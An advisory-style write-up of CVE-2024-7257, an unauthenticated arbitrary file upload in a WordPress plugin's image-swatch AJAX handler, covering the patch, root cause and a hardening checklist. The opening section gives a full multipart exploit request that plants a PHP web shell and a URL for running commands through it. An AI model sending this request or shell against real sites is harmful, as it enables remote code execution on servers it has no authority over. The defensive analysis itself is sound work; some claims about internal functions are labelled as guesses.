The Exploit
An unauthenticated attacker can POST a multipart request to the WordPress admin-ajax endpoint with action yayextra_upload_image_swatches to upload an arbitrary PHP file, bypassing all file-type validation.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.local
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="action"
yayextra_upload_image_swatches
------Boundary
Content-Disposition: form-data; name="nonce"
[valid_nonce_from_product_page]
------Boundary
Content-Disposition: form-data; name="optSetId"
1
------Boundary
Content-Disposition: form-data; name="optId"
1
------Boundary
Content-Disposition: form-data; name="optVal"
test
------Boundary
Content-Disposition: form-data; name="yayextra-product-image"; filename="shell.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
------Boundary--
The server responds with {"success":true,"data":{"url":"https://target.local/wp-content/uploads/2024/12/shell.php"}}. The attacker then visits https://target.local/wp-content/uploads/2024/12/shell.php?cmd=id to execute arbitrary code with the permissions of the web server process.
What the Patch Did
Before
public function handle_image_swatches_upload() {
try {
Utils::check_nonce();
$opt_set_id = ! empty( $_REQUEST['optSetId'] ) ? sanitize_text_field( $_REQUEST['optSetId'] ) : null;
$opt_id = ! empty( $_REQUEST['optId'] ) ? sanitize_text_field( $_REQUEST['optId'] ) : null;
$opt_val = ! empty( $_REQUEST['optVal'] ) ? sanitize_text_field( wp_unslash($_REQUEST['optVal']) ) : null;
if ( $opt_set_id && $opt_id && $opt_val ) {
$FILES = $_FILES;
$image_data = Utils::sanitize_array( isset( $FILES['yayextra-product-image'] ) ? $FILES['yayextra-product-image'] : array() );
$product_page = ProductPage::get_instance();
$restl = $product_page->handle_upload_file_default( $image_data );
// ... upload proceeds with $restl
}
} catch ( \Exception $ex ) {
wp_send_json_error( array( 'msg' => $ex->getMessage() ) );
}
}
After
// Function completely removed in version 1.3.8
The patch removed the entire handle_image_swatches_upload() AJAX handler. The underlying handle_upload_file_default() method in the ProductPage class relied on sanitize_array() to process $_FILES, which performed no whitelist validation of file MIME types or extensions. The only control was the nonce check via Utils::check_nonce(), which verifies intent but not file legitimacy. By removing this handler entirely, the plugin eliminated the attack surface; the vendor migrated to a "Pro version" implementation (indicated in the patch diff) with stronger controls.
Root Cause
CWE-434: Unrestricted Upload of File with Dangerous Type.
The dataflow is linear: the attacker-supplied $_FILES['yayextra-product-image'] entry (filename, MIME type, temp path) enters the request and flows directly into Utils::sanitize_array(). This utility function (based on context) only removes slashes and cleans array keys—it does not validate file content or extension. The cleaned array is then passed to $product_page->handle_upload_file_default(), which presumably calls WordPress's built-in file upload handler without enforcing an explicit whitelist of allowed types. The sanitize_text_field() calls on $optSetId, $optId, and $optVal are orthogonal; they don't validate the uploaded file. The trust boundary—separating user-supplied file metadata from the filesystem—is crossed without checking whether the MIME type or magic bytes match an allowed set (e.g., image/* only).
Why It Works
The load-bearing line is the removal of the entire function. If only the nonce check were removed, the vulnerability would remain exploitable; if only the AJAX handler were restricted to authenticated users, attackers could still upload files as customers. What makes this patch effective is that it doesn't add a type-validation filter—it completely eliminates the vulnerable code path. However, the depth of the fix is incomplete: the underlying handle_upload_file_default() and handle_upload_file() methods in ProductPage likely still lack strong validation, which is why the vendor presumably rewrote the upload logic in the Pro version rather than patching the existing functions. This suggests the engineers understood the root cause was insufficient MIME-type and extension whitelisting throughout the upload stack, not just in this one handler.
Hardening Checklist
-
Whitelist file extensions and MIME types explicitly. Use WordPress's
wp_check_filetype_and_ext()function and reject uploads where the detected MIME type is not in a hardcoded array (e.g.,['image/jpeg', 'image/png', 'image/gif']). Never trust theContent-Typeheader alone. -
Validate file content with magic bytes (file signature inspection). Before moving the uploaded file to the final location, read the first 12 bytes and verify they match the expected magic number for the declared type (e.g.,
FFD8FFfor JPEG). Use a library likefinfo_file()or theFileinfoPHP extension. -
Restrict upload directory execution. Configure the upload directory (typically
/wp-content/uploads/) with an.htaccessrule (<FilesMatch "\.php$"> Deny from all </FilesMatch>) or equivalent server-side directive (nginxlocation ~ \.php$ { deny all; }) to prevent PHP execution in user-uploaded directories. -
Implement capability checks on all AJAX handlers. Even if the vulnerability is not authentication-based, add
current_user_can('edit_posts')or equivalent before processing uploads, and log which user triggered the handler viaget_current_user_id(). -
Use WordPress's
wp_handle_upload()function with strict options. If delegating to WordPress, pass['test_form' => true, 'mimes' => ['jpg|jpeg|image/jpeg' => 'image/jpeg', ...]]to enforce both nonce validation and MIME-type filtering at the framework level.
References
- https://nvd.nist.gov/vuln/detail/CVE-2024-7257